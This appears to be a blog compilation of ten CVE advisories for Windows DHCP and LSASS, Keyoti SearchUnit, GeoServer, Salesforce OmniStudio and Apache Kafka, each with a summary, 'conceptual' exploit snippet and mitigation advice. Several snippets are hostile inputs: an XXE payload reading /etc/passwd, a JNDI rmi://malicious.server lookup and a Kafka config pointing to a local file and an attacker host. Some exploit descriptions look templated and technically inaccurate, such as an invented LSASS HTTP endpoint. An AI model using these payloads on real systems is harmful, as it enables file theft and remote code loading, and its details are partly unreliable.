Author: Ameeba

Overview

The vulnerability, designated as CVE-2025-32725, pertains to a protection mechanism failure in Windows DHCP Server. This flaw allows unauthorized attackers to deny service over a network. It has a significant impact on systems running the affected software, potentially compromising the system and leading to data leakage. Given the widespread use of Windows DHCP Server, this vulnerability is of high concern to organizations and individuals alike.

Vulnerability Summary

CVE ID: CVE-2025-32725
Severity: High Risk – CVSS 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Windows DHCP Server | All versions prior to the patch

How the Exploit Works

An attacker can exploit this vulnerability by sending specially crafted network packets to the targeted DHCP server. Due to the failure in the protection mechanism, the server fails to handle these packets properly. This causes a denial of service and potentially allows unauthorized access to the system if successfully exploited.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This pseudocode indicates a malicious network packet being sent to a vulnerable DHCP server.

// Create a new network packet
Packet packet = new Packet();
// Set the destination to the target DHCP server
packet.setDestination("target.DHCPServer.com");
// Craft a malicious payload
packet.setPayload("...");
// Send the packet
Network.send(packet);

Mitigation Guidance

Users are advised to apply the vendor patch immediately to fix this vulnerability. Until the patch can be applied, users may consider using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as temporary mitigation. Regular monitoring of network traffic and system logs can also aid in detecting any potential exploitation attempts.

Overview

The CVE-2025-32724 vulnerability pertains to a flaw in the Windows Local Security Authority Subsystem Service (LSASS), which could result in uncontrolled resource consumption. This vulnerability is a serious concern as it can be exploited by an unauthorized attacker over a network to deny service, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-32724
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of service, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

Windows | All versions prior to patch

How the Exploit Works

The attacker sends specially crafted requests to the LSASS over the network, causing it to consume excessive system resources. This results in a denial of service due to resource exhaustion, making the system unresponsive and potentially leading to system compromise or data leakage.

Conceptual Example Code

The following is a conceptual representation of how an attacker might exploit this vulnerability. This pseudocode does not represent a real attack but is intended to illustrate the nature of the vulnerability.

POST /lsass/overload HTTP/1.1
Host: target.example.com
{ "resource_hogging_payload": "..." }

In this example, the `resource_hogging_payload` would be crafted in such a way that it exploits the vulnerability in LSASS, causing it to consume excessive resources and thus triggering a denial of service.

Mitigation Guidance

Users are advised to apply the vendor-issued patch as soon as possible to mitigate this vulnerability. In the interim, security measures such as a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation. Regular monitoring of system resources and network traffic is also recommended to identify any unusual activity that could indicate an exploit attempt.

Overview

This report outlines the technical aspects of a significant security vulnerability, CVE-2025-44044, discovered in Keyoti SearchUnit prior to version 9.0.0. This vulnerability is critical as it allows an attacker to perform XML External Entity (XXE) attacks, potentially leading to system compromise or data leakage. Organizations utilizing affected versions of Keyoti SearchUnit need to take immediate action to mitigate this vulnerability and secure their systems.

Vulnerability Summary

CVE ID: CVE-2025-44044
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Keyoti SearchUnit | Prior to 9.0.0

How the Exploit Works

The vulnerability resides in the XML parsing mechanism of Keyoti SearchUnit. An attacker who can force a vulnerable SearchUnit host into parsing maliciously crafted XML and/or DTD files can cause the system to process an external entity reference in XML input containing a URL. This could lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited:

<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

In this example, the attacker attempts to get the “/etc/passwd” file from the server. If the XML parser is vulnerable to XXE, the contents of the “/etc/passwd” file would be returned inside the XML output.

Mitigation Steps

To mitigate this vulnerability, organizations are advised to apply the vendor-provided patch or update to Keyoti SearchUnit version 9.0.0 or later. As a temporary mitigation, use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and prevent exploitation of this vulnerability. Regular patch management and keeping up-to-date with software versions is a key part of an effective cybersecurity strategy.

Overview

The CVE-2025-30145 is a high-severity vulnerability discovered in GeoServer, an open-source server that facilitates the sharing and editing of geospatial data. This vulnerability allows malicious Jiffle scripts to trigger a denial of service (DoS) attack. This report details the nature of the exploit, its potential impact, and steps towards mitigation.

Vulnerability Summary

CVE ID: CVE-2025-30145
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

GeoServer | < 2.25.7 GeoServer | < 2.26.3 GeoServer | < 2.27.0 How the Exploit Works

The vulnerability is exploited by sending malicious Jiffle scripts to GeoServer. These scripts can be executed either as a rendering transformation in WMS dynamic styles or as a WPS process. Once executed, the malicious script enters an infinite loop, effectively triggering a denial of service attack on the GeoServer.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. In this instance, a malicious Jiffle script is sent to the GeoServer via an HTTP POST request:

POST /geoserver/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "jiffle_script": "while(true) {}" }

The script `while(true) {}` will run indefinitely, consuming resources and eventually leading to a denial of service.

Mitigation Guidance

To safeguard against this vulnerability, users are advised to either apply the vendor patch (GeoServer versions 2.27.0, 2.26.3, or 2.25.7) or disable WMS dynamic styling and the Jiffle process. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation.

Overview

The vulnerability CVE-2024-29198 is a significant security flaw discovered in GeoServer, an open-source server software designed in Java for sharing and editing geospatial data. The vulnerability, if exploited, can lead to a Server Side Request Forgery (SSRF), potentially compromising the system or resulting in data leakage. This flaw is particularly concerning for businesses and organizations that rely on GeoServer for geospatial data management and could result in significant disruptions if not promptly addressed.

Vulnerability Summary

CVE ID: CVE-2024-29198
Severity: High – CVSS Score 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

GeoServer | versions prior to 2.24.4 and 2.25.2

How the Exploit Works

The vulnerability arises from GeoServer’s Demo request endpoint. If the Proxy Base URL has not been set, an attacker can manipulate the server into making an HTTP request to an arbitrary domain. This unauthorized request can lead to data leakage or even a potential system compromise if the attacker can reach sensitive internal services or execute certain commands.

Conceptual Example Code

Here’s a conceptual representation of how this vulnerability might be exploited using a malicious HTTP request:

POST /geoserver/demo/TestWfsPost HTTP/1.1
Host: target.example.com
Content-Type: application/xml
<Execute>
<Identifier>http://target.internal/</Identifier>
</Execute>

In this example, the attacker sends a POST request to the Demo request endpoint with a crafted XML payload, directing the server to make an HTTP request to an internal target, potentially leading to SSRF.

Mitigation

To address this vulnerability, users are advised to upgrade to GeoServer 2.24.4, or 2.25.2, as these versions have removed the TestWfsPost servlet resolving this issue. If immediate updating is not possible, usage of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation method.

Overview

The cybersecurity vulnerability CVE-2025-43701 is a serious flaw in the Salesforce OmniStudio (FlexCards), which allows unauthorized access to Custom Settings data due to improper preservation of permissions. This issue affects a significant number of businesses and organizations worldwide that rely on Salesforce for their CRM needs. The vulnerability, if exploited, could lead to a system compromise or data leakage, posing a significant risk to the confidentiality, integrity, and availability of sensitive information.

Vulnerability Summary

CVE ID: CVE-2025-43701
Severity: High, CVSS Severity Score 7.5
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Salesforce OmniStudio | Before version 254

How the Exploit Works

The exploit takes advantage of the improper preservation of permissions in Salesforce OmniStudio’s FlexCards. An attacker can manipulate this flaw to gain unauthorized access to Custom Settings data. The flawed security mechanism fails to properly preserve permissions, making it possible for low-level users to access sensitive data they are not supposed to reach.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited might involve a specially crafted HTTP request like the following:

GET /api/v1/settings/custom HTTP/1.1
Host: vulnerable-omnistudio-instance.salesforce.com
Authorization: Bearer low_privilege_token

In this example, the attacker uses a low-privilege token to request custom settings data that should normally be inaccessible. The server, failing to properly enforce access controls due to the vulnerability, returns the sensitive data.

Mitigation Guidance

Salesforce has released a patch for this vulnerability, and users are strongly encouraged to update their OmniStudio to the latest version to prevent exploitation. As a temporary mitigation, users could employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block suspicious activity. However, these methods are not foolproof and updating the software is the most reliable solution.

Overview

This report discusses CVE-2025-43700, a significant vulnerability found in Salesforce OmniStudio. This flaw, categorized as an Improper Preservation of Permissions issue, could lead to the exposure of encrypted data, impacting users of OmniStudio versions before Spring 2025. Given Salesforce’s wide usage, this vulnerability could potentially expose a substantial amount of sensitive data if not mitigated.

Vulnerability Summary

CVE ID: CVE-2025-43700
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Salesforce OmniStudio | Before Spring 2025

How the Exploit Works

The exploit takes advantage of the improper preservation of permissions in Salesforce OmniStudio’s FlexCards feature. An attacker can manipulate this flaw to bypass security measures and gain unauthorized access to encrypted data. This can potentially lead to system compromise or significant data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

GET /omnistudio/flexcards/data HTTP/1.1
Host: vulnerable-omnistudio-instance.salesforce.com
Authorization: Bearer <malicious_token_with_improper_permissions>

In this example, the attacker uses a malicious token, which has improper permissions due to the vulnerability, to access the sensitive FlexCards data.

Mitigation

Users are advised to apply the vendor patch released by Salesforce to mitigate this vulnerability. In the interim, implementing Web Application Firewall (WAF) or Intrusion Detection Systems (IDS) can provide temporary mitigation against potential exploits. Regularly updating and patching systems can help prevent such vulnerabilities in the future.

Overview

CVE-2025-43697 is a high-severity vulnerability that affects Salesforce OmniStudio, specifically its DataMapper component. This vulnerability stems from an improper preservation of permissions, potentially leading to unauthorized exposure of encrypted data. It is of significant concern to any organization using Salesforce OmniStudio versions prior to Spring 2025.

Vulnerability Summary

CVE ID: CVE-2025-43697
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorised exposure of encrypted data leading to potential system compromise or data leakage.

Affected Products

Product | Affected Versions

Salesforce OmniStudio | Before Spring 2025

How the Exploit Works

The exploit leverages the improper preservation of permissions within Salesforce OmniStudio’s DataMapper component. An attacker can use this vulnerability to gain unauthorized access to encrypted data, bypassing the usual authentication and authorization processes. This could potentially lead to system compromise or data leakage, depending on the sensitivity of the accessed data.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. It represents a malicious HTTP request to a vulnerable endpoint.

POST /datamapper/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "violated_permission": "encrypted_data_access", "action": "retrieve" }

The above example assumes that the attacker has knowledge of the specific endpoints and actions that can manipulate encrypted data access within Salesforce OmniStudio.

Mitigation Guidance

Salesforce has released a patch to address this vulnerability. Users are strongly urged to apply the patch immediately. As a temporary measure, users can also implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent attempts to exploit this vulnerability. However, these are temporary solutions and should not replace the need for patching the software.

Overview

This report presents a critical vulnerability, CVE-2025-27819, that affects the Kafka Connect API and Apache Kafka brokers. This vulnerability allows for Remote Code Execution (RCE) and Denial of Service attacks, posing a severe threat to system integrity and data security. It is of paramount importance due to its potential for system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-27819
Severity: High, with a CVSS score of 7.5
Attack Vector: Network
Privileges Required: High (AlterConfigs permission on the cluster resource)
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Kafka Connect API | All versions prior to 3.4.0
Apache Kafka | All versions prior to 3.4.0

How the Exploit Works

The vulnerability resides in the SASL JAAS JndiLoginModule configuration of both the Kafka Connect API and Apache Kafka brokers. An attacker with AlterConfigs permission on the cluster resource can exploit this vulnerability by sending a specially crafted request to connect to the Kafka cluster. Successful exploitation could lead to remote code execution or denial of service attack, potentially compromising the system or leading to data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited:

kafka-console-producer --broker-list target.kafka.broker:9092 --topic test --producer.config=/path/to/alterConfigs_permission_config
# After gaining access
{ "type": "JNDI", "value": "rmi://malicious.server/malicious" }

In this example, the attacker uses the `kafka-console-producer` command with the `–producer.config` option pointing to a configuration file with AlterConfigs permission to connect to the Kafka cluster. Once connected, they send a malicious payload that exploits the JndiLoginModule vulnerability.

Mitigation Guidance

It is recommended to apply the vendor patch immediately. For Apache Kafka, upgrade to version 3.4.0 or later where the problematic login modules usage in SASL JAAS configuration is disabled. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation.

Overview

The vulnerability, identified as CVE-2025-27817, is a severe security flaw found in Apache Kafka Client that potentially allows arbitrary file read and Server Side Request Forgery (SSRF). If exploited, this vulnerability could lead to system compromise or data leakage. It is especially significant for SaaS products and environments that utilize Apache Kafka Clients where configuration data can be manipulated by untrusted parties.

Vulnerability Summary

CVE ID: CVE-2025-27817
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Apache Kafka Client | Prior to 3.9.1/4.0.0

How the Exploit Works

An attacker can exploit this vulnerability by manipulating the SASL/OAUTHBEARER connection configuration data, specifically the “sasl.oauthbearer.token.endpoint.url” and “sasl.oauthbearer.jwks.endpoint.url”. This allows the attacker to read arbitrary files, return their content in the error log, or make requests to unintended locations. In certain applications, such as Apache Kafka Connect, this flaw can escalate from REST API access to filesystem/environment/URL access.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

POST /api/config HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"sasl.oauthbearer.token.endpoint.url": "file:///etc/passwd",
"sasl.oauthbearer.jwks.endpoint.url": "http://malicious.example.com"
}

Here, the attacker is specifying a local file (in this case “/etc/passwd”) in the “sasl.oauthbearer.token.endpoint.url” parameter. This results in the contents of the file being read and returned in the error log. Furthermore, the attacker is using the “sasl.oauthbearer.jwks.endpoint.url” parameter to send requests to a malicious server.

Mitigation

Users are advised to upgrade to Apache Kafka Client 3.9.1/4.0.0 or newer and set the allowed urls in the SASL JAAS configuration explicitly through system property (“-Dorg.apache.kafka.sasl.oauthbearer.allowed.urls”). Alternatively, the deployment of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation strategy.